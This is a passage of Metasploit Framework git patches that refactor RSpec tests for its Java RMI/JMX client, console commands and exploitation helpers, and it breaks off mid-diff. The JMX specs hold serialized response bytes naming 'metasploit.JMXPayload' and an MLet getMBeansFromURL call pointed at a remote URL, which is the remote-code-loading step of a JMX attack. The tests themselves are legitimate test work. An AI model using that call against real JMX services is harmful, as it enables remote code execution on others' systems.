"\x40\x00\x00\x00\x00\x00\x01\x73\x72\x00\x1f\x6a\x61\x76\x61\x78" + - "\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65" + - "\x63\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28" + - "\x7b\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d" + - "\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + - "\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d" + - "\x4c\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e" + - "\x74\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70" + - "\x74\x00\x15\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x4a\x4d" + - "\x58\x50\x61\x79\x6c\x6f\x61\x64\x73\x72\x00\x1b\x6a\x61\x76\x61" + - "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + - "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + - "\x00\x00\x70\x78\x70\x74\x00\x21\x4d\x4c\x65\x74\x47\x78\x61\x7a" + - "\x6f\x6f\x6d\x79\x3a\x6e\x61\x6d\x65\x3d\x6a\x6d\x78\x70\x61\x79" + - "\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78" - end - let(:remote_address) do '172.16.158.132' end @@ -95,20 +25,47 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do describe "#send_jmx_get_object_instance" do context "when the object exists" do + # + # lets + # + + let(:name_get) { 'DefaultDomain:type=MLet' } + + # + # Callbacks + # + before(:each) do - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.seek(0) - io.write(get_object_instance_response) - io.seek(0) + def io.get_once + read end - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end - - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + def io.has_read_data?(_timeout) false end + + def io.put(_data) + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + + "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + + "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + + "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + + "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + + "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + + "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + + "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + + "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + + "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + + "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + + "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + + "\x65\x3d\x4d\x4c\x65\x74\x78" + ) + seek(0) + end end it "returns true" do @@ -120,19 +77,36 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do describe "#send_jmx_create_mbean" do context "when the object is created successfully" do before(:each) do - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.seek(0) - io.write(create_mbean_response) - io.seek(0) + def io.get_once + read end - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end - - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + def io.has_read_data?(_timeout) false end + + def io.put(_data) + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + + "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + + "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + + "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + + "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + + "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + + "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + + "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + + "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + + "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + + "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + + "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + + "\x65\x3d\x4d\x4c\x65\x74\x78" + ) + seek(0) + end end it "returns true" do @@ -143,20 +117,56 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do describe "#send_jmx_invoke" do context "when the remote method is called successfully" do + # + # lets + # + + let(:invoke_args) do + { + object: 'DefaultDomain:type=MLet', + method: 'getMBeansFromURL', + args: { 'java.lang.String' => 'http:///http://192.168.0.3:8080/nH8rSZGf5WkYF/mlet' } + } + end + + # + # Callbacks + # + before(:each) do - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.seek(0) - io.write(invoke_response) - io.seek(0) + def io.get_once + read end - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end - - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + def io.has_read_data?(_timeout) false end + + def io.put(_data) + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x09\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75" + + "\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96" + + "\xb8\xb7\x34\x03\x00\x00\x70\x78\x70\x77\x0c\x00\x00\x00\x10\x3f" + + "\x40\x00\x00\x00\x00\x00\x01\x73\x72\x00\x1f\x6a\x61\x76\x61\x78" + + "\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65" + + "\x63\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28" + + "\x7b\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d" + + "\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + + "\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d" + + "\x4c\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e" + + "\x74\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70" + + "\x74\x00\x15\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x4a\x4d" + + "\x58\x50\x61\x79\x6c\x6f\x61\x64\x73\x72\x00\x1b\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + + "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + + "\x00\x00\x70\x78\x70\x74\x00\x21\x4d\x4c\x65\x74\x47\x78\x61\x7a" + + "\x6f\x6f\x6d\x79\x3a\x6e\x61\x6d\x65\x3d\x6a\x6d\x78\x70\x61\x79" + + "\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78" + ) + seek(0) + end end it "returns true" do From bde4f8bbe71f1d4ee8e01d72eaafc615386a3743 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Thu, 29 Oct 2015 13:39:26 -0500 Subject: [PATCH 046/103] Fix allows in Exploit::Remote::Java::Rmi::Client::Jmx::Server spec MSP-13484 --- .../remote/java/rmi/client/jmx/server_spec.rb | 90 ++++++++++--------- 1 file changed, 50 insertions(+), 40 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb index 4ce5dbbdf6..371c987b16 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb @@ -7,58 +7,68 @@ require 'msf/core/exploit/java/rmi/client' require 'stringio' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do + subject(:instance) { + klass.new + } - let(:new_client_response) do - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + - "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + - "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + - "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + - "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + - "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + - "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + - "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + - "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + - "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + - "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + - "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" - end - - let(:remote_address) do - '172.16.158.132' - end - - subject(:mod) do - mod = ::Msf::Exploit.new - mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client - mod.send(:initialize) - mod - end - - let(:io) { StringIO.new('', 'w+b') } + let(:klass) { + Class.new(Msf::Exploit) do + include Msf::Exploit::Remote::Java::Rmi::Client + end + } describe "#send_new_client" do context "when there is an RMIServerImpl_Stub interface" do + # + # lets + # + + let(:io) { + StringIO.new('', 'w+b') + } + + let(:remote_address) { + '172.16.158.132' + } + + # + # Callbacks + # + before(:each) do - allow_any_instance_of(::StringIO).to receive(:put) do |io, data| - io.seek(0) - io.write(new_client_response) - io.seek(0) + def io.get_once + read end - allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| - io.read - end - - allow_any_instance_of(::StringIO).to receive(:has_read_data?) do |io| + def io.has_read_data?(_timeout) false end + + def io.put(_data) + seek(0) + write( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + + "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + + "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + + "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + + "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + + "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + + "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + + "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + + "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + + "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + + "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" + ) + seek(0) + end end it "returns the reference information" do - expect(mod.send_new_client(sock: io)[:address]).to eq(remote_address) + expect(instance.send_new_client(sock: io)[:address]).to eq(remote_address) end end end From 4f2ed69daa63a1823b5af2e51bbe626fc8e90f59 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Thu, 12 Nov 2015 10:46:05 -0600 Subject: [PATCH 047/103] Update fivemat to rspec 3 compatible version MS-673 --- Gemfile | 2 +- Gemfile.lock | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile b/Gemfile index d767b06c50..9893680a4d 100755 --- a/Gemfile +++ b/Gemfile @@ -24,7 +24,7 @@ group :development, :test do # automatically include factories from spec/factories gem 'factory_girl_rails', '~> 4.5.0' # Make rspec output shorter and more useful - gem 'fivemat', '1.2.1' + gem 'fivemat', '~> 1.3.1' # running documentation generation tasks and rspec tasks gem 'rake', '>= 10.0.0' # Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the diff --git a/Gemfile.lock b/Gemfile.lock index fa02a74647..a07d92b543 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -97,7 +97,7 @@ GEM railties (>= 3.0.0) ffi (1.9.8) filesize (0.1.1) - fivemat (1.2.1) + fivemat (1.3.2) gherkin (2.12.2) multi_json (~> 1.3) hike (1.2.3) @@ -236,7 +236,7 @@ DEPENDENCIES aruba cucumber-rails factory_girl_rails (~> 4.5.0) - fivemat (= 1.2.1) + fivemat (~> 1.3.1) metasploit-framework! pry rake (>= 10.0.0) From f31e57878010b131ce75278fb824f42d88dd374b Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Thu, 12 Nov 2015 11:25:40 -0600 Subject: [PATCH 048/103] Add missing RSpec. before describe --- spec/lib/msf/base/sessions/mainframe_shell_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/msf/base/sessions/mainframe_shell_spec.rb b/spec/lib/msf/base/sessions/mainframe_shell_spec.rb index 05702c3dd3..d015770ec7 100644 --- a/spec/lib/msf/base/sessions/mainframe_shell_spec.rb +++ b/spec/lib/msf/base/sessions/mainframe_shell_spec.rb @@ -7,7 +7,7 @@ require 'msf/base/sessions/mainframe_shell' # A quick test that MainframeShell is operable # Author: Bigendian Smalls # -describe Msf::Sessions::MainframeShell do +RSpec.describe Msf::Sessions::MainframeShell do it 'extends Msf::Sessions::CommandShell to include EBCDIC cp1047 codepage translation' do args=[0, {:datastore=> From 04ea44e76b07c8e95d7e4b98d3a015ce1c21b71b Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Fri, 13 Nov 2015 10:31:35 -0600 Subject: [PATCH 049/103] eq {} -> eq({}) So that the `{}` isn't interpreted as a block to `eq`. --- spec/lib/rex/proto/http/client_spec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index d4076fc4ce..7e820ea176 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -38,7 +38,7 @@ RSpec.describe Rex::Proto::Http::Client do describe "#set_config" do it "should respond to #set_config" do - expect(cli.set_config).to eq {} + expect(cli.set_config).to eq({}) end end @@ -50,7 +50,7 @@ RSpec.describe Rex::Proto::Http::Client do it "should have a set of default instance variables" do expect(cli.instance_variable_get(:@hostname)).to eq ip expect(cli.instance_variable_get(:@port)).to eq 80 - expect(cli.instance_variable_get(:@context)).to eq {} + expect(cli.instance_variable_get(:@context)).to eq({}) expect(cli.instance_variable_get(:@ssl)).to be_falsey expect(cli.instance_variable_get(:@proxies)).to be_nil expect(cli.instance_variable_get(:@username)).to be_empty From 76d1f6ba0a37b9c7eab358aa4d71ae49b6ddc36b Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Fri, 13 Nov 2015 10:35:46 -0600 Subject: [PATCH 050/103] Fix Rex::Psot::Meterpreter::PacketParser spec MSP-13484 Use allow instead of expect because call count isn't important. --- spec/lib/rex/post/meterpreter/packet_parser_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb index decb87bbc6..d028d0a944 100644 --- a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb @@ -13,7 +13,7 @@ RSpec.describe Rex::Post::Meterpreter::PacketParser do "test_method") @raw = @req_packt.to_r @sock = double('Socket') - expect(@sock).to receive(:read) do |arg| + allow(@sock).to receive(:read) do |arg| @raw.slice!(0,arg) end end From bb7c463c44d232c97c0643df300b9e7968cae12e Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Fri, 13 Nov 2015 11:00:04 -0600 Subject: [PATCH 051/103] Remove operators after .to with matchers MSP-13484 --- spec/lib/msf/core/modules/loader/base_spec.rb | 2 +- spec/lib/msf/core/modules/namespace_spec.rb | 2 +- .../console/command_dispatcher/core_spec.rb | 8 ++--- .../ui/console/command_dispatcher/db_spec.rb | 30 +++++++++---------- spec/lib/rex/exploitation/js/detect_spec.rb | 6 ++-- spec/lib/rex/exploitation/js/memory_spec.rb | 6 ++-- spec/lib/rex/exploitation/js/network_spec.rb | 4 +-- spec/lib/rex/exploitation/js/utils_spec.rb | 2 +- spec/lib/rex/exploitation/ropdb_spec.rb | 10 +++---- spec/lib/rex/post/meterpreter/packet_spec.rb | 2 +- spec/msfupdate_spec.rb | 4 +-- 11 files changed, 38 insertions(+), 38 deletions(-) diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index fb87c9de66..0400c28422 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -188,7 +188,7 @@ RSpec.describe Msf::Modules::Loader::Base do direct_index = described_class::NAMESPACE_MODULE_NAMES.index('Msf') last_index = described_class::NAMESPACE_MODULE_NAMES.length - 1 - expect(last_index).to > direct_index + expect(last_index).to be > direct_index end end diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index bf4c79e160..ce8fa1588d 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -107,7 +107,7 @@ RSpec.describe Msf::Modules::Namespace do end it 'should be newer than Msf::Framework::Major' do - expect(major).to > Msf::Framework::Major + expect(major).to be > Msf::Framework::Major end it 'should return nil' do diff --git a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb index 4b062f1d71..9cff92fea8 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb @@ -113,14 +113,14 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Core do if framework_re @output = [] core.cmd_getg(name) - expect(@output.join).to =~ framework_re + expect(@output.join).to match framework_re end # test the local value if specified if module_re @output = [] core.cmd_get(name) - expect(@output.join).to =~ module_re + expect(@output.join).to match module_re end end @@ -128,10 +128,10 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Core do describe "without arguments" do it "should show the correct help message" do core.cmd_get - expect(@output.join).to =~ /Usage: get / + expect(@output.join).to match /Usage: get / @output = [] core.cmd_getg - expect(@output.join).to =~ /Usage: getg / + expect(@output.join).to match /Usage: getg / end end diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb index 0523458532..243bd1d8d9 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb @@ -200,7 +200,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do context "with an invalid type" do it "should print the list of valid types" do db.cmd_creds("-t", "asdf") - expect(@error).to =~ [ + expect(@error).to match_array [ "Unrecognized credential type asdf -- must be one of password,ntlm,hash" ] end @@ -319,7 +319,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_db_export "-h" - expect(@output).to =~ [ + expect(@output).to match_array [ "Usage:", " db_export -f <format> [filename]", " Format can be one of: xml, pwdump" @@ -332,7 +332,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_db_import "-h" - expect(@output).to =~ [ + expect(@output).to match_array [ "Usage: db_import <filename> [file2...]", "Filenames can be globs like *.xml, or **/*.xml which will search recursively", "Currently supported file types include:", @@ -377,7 +377,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_hosts "-h" - expect(@output).to =~ [ + expect(@output).to match_array [ "Usage: hosts [ options ] [addr1 addr2 ...]", "OPTIONS:", " -a,--add Add the hosts instead of searching", @@ -402,7 +402,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_loot "-h" - expect(@output).to =~ [ + expect(@output).to match_array [ "Usage: loot <options>", " Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]", " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]", @@ -424,7 +424,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_notes "-h" - expect(@output).to =~ [ + expect(@output).to match_array [ "Usage: notes [-h] [-t <type1,type2>] [-n <data string>] [-a] [addr range]", " -a,--add Add a note to the list of addresses, instead of listing", " -d,--delete Delete the hosts instead of searching", @@ -450,7 +450,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_services "-h" - expect(@output).to =~ [ + expect(@output).to match_array [ "Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]", " -a,--add Add the services instead of searching", " -d,--delete Delete the services instead of searching", @@ -476,7 +476,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do end it "should list services that are on a given port" do db.cmd_services "-p", "1024,1025" - expect(@output).to =~ [ + expect(@output).to match_array [ "Services", "========", "", @@ -516,7 +516,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_vulns "-h" - expect(@output).to =~ [ + expect(@output).to match_array [ "Print all vulnerabilities in the database", "Usage: vulns [addr range]", " -h,--help Show this help information", @@ -542,7 +542,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "<no arguments>" do it "should list default workspace" do db.cmd_workspace - expect(@output).to =~ [ + expect(@output).to match_array [ "* default" ] end @@ -551,7 +551,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do db.cmd_workspace("-a", "foo") @output = [] db.cmd_workspace - expect(@output).to =~ [ + expect(@output).to match_array [ " default", "* foo" ] @@ -561,7 +561,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-a" do it "should add workspaces" do db.cmd_workspace("-a", "foo", "bar", "baf") - expect(@output).to =~ [ + expect(@output).to match_array [ "Added workspace: foo", "Added workspace: bar", "Added workspace: baf" @@ -574,7 +574,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do db.cmd_workspace("-a", "foo") @output = [] db.cmd_workspace("-d", "foo") - expect(@output).to =~ [ + expect(@output).to match_array [ "Deleted workspace: foo", "Switched workspace: default" ] @@ -586,7 +586,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do db.cmd_workspace("-a", "foo") @output = [] db.cmd_workspace("-D") - expect(@output).to =~ [ + expect(@output).to match_array [ "Deleted and recreated the default workspace", "Deleted workspace: foo", "Switched workspace: default" @@ -597,7 +597,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_workspace "-h" - expect(@output).to =~ [ + expect(@output).to match_array [ "Usage:", " workspace List workspaces", " workspace [name] Switch workspace", diff --git a/spec/lib/rex/exploitation/js/detect_spec.rb b/spec/lib/rex/exploitation/js/detect_spec.rb index a5169184cc..84b6a79487 100644 --- a/spec/lib/rex/exploitation/js/detect_spec.rb +++ b/spec/lib/rex/exploitation/js/detect_spec.rb @@ -7,21 +7,21 @@ RSpec.describe Rex::Exploitation::Js::Detect do context ".os" do it "should load the OS detection in Javascript" do js = Rex::Exploitation::Js::Detect.os.to_s - expect(js).to =~ /os_detect/ + expect(js).to match /os_detect/ end end context ".ie_addons" do it "should load the IE Addons detection in Javascript" do js = Rex::Exploitation::Js::Detect.ie_addons.to_s - expect(js).to =~ /ie_addons_detect/ + expect(js).to match /ie_addons_detect/ end end context ".misc_addons" do it "should load the misc Addons detection in Javascript" do js = Rex::Exploitation::Js::Detect.misc_addons.to_s - expect(js).to =~ /misc_addons_detect/ + expect(js).to match /misc_addons_detect/ end end diff --git a/spec/lib/rex/exploitation/js/memory_spec.rb b/spec/lib/rex/exploitation/js/memory_spec.rb index 1cdc5e0716..833c258f6d 100644 --- a/spec/lib/rex/exploitation/js/memory_spec.rb +++ b/spec/lib/rex/exploitation/js/memory_spec.rb @@ -7,21 +7,21 @@ RSpec.describe Rex::Exploitation::Js::Memory do context ".mstime_malloc" do it "should load the mstime_malloc javascript" do js = Rex::Exploitation::Js::Memory.mstime_malloc - expect(js).to =~ /function mstime_malloc/ + expect(js).to match /function mstime_malloc/ end end context ".property_spray" do it "should load the property_spray javascript" do js = Rex::Exploitation::Js::Memory.property_spray - expect(js).to =~ /function sprayHeap/ + expect(js).to match /function sprayHeap/ end end context ".heap_spray" do it "should load the heap_spray javascript" do js = Rex::Exploitation::Js::Memory.heap_spray - expect(js).to =~ /function sprayHeap/ + expect(js).to match /function sprayHeap/ end end diff --git a/spec/lib/rex/exploitation/js/network_spec.rb b/spec/lib/rex/exploitation/js/network_spec.rb index 61ad8a5c71..27581f04a2 100644 --- a/spec/lib/rex/exploitation/js/network_spec.rb +++ b/spec/lib/rex/exploitation/js/network_spec.rb @@ -7,14 +7,14 @@ RSpec.describe Rex::Exploitation::Js::Network do context ".ajax_download" do it "should load the ajax_download javascript" do js = Rex::Exploitation::Js::Network.ajax_download - expect(js).to =~ /function ajax_download/ + expect(js).to match /function ajax_download/ end end context ".ajax_post" do it "should load the postInfo javascript" do js = Rex::Exploitation::Js::Network.ajax_post - expect(js).to =~ /function postInfo/ + expect(js).to match /function postInfo/ end end diff --git a/spec/lib/rex/exploitation/js/utils_spec.rb b/spec/lib/rex/exploitation/js/utils_spec.rb index 2d4d0043f3..bb95bf0bdf 100644 --- 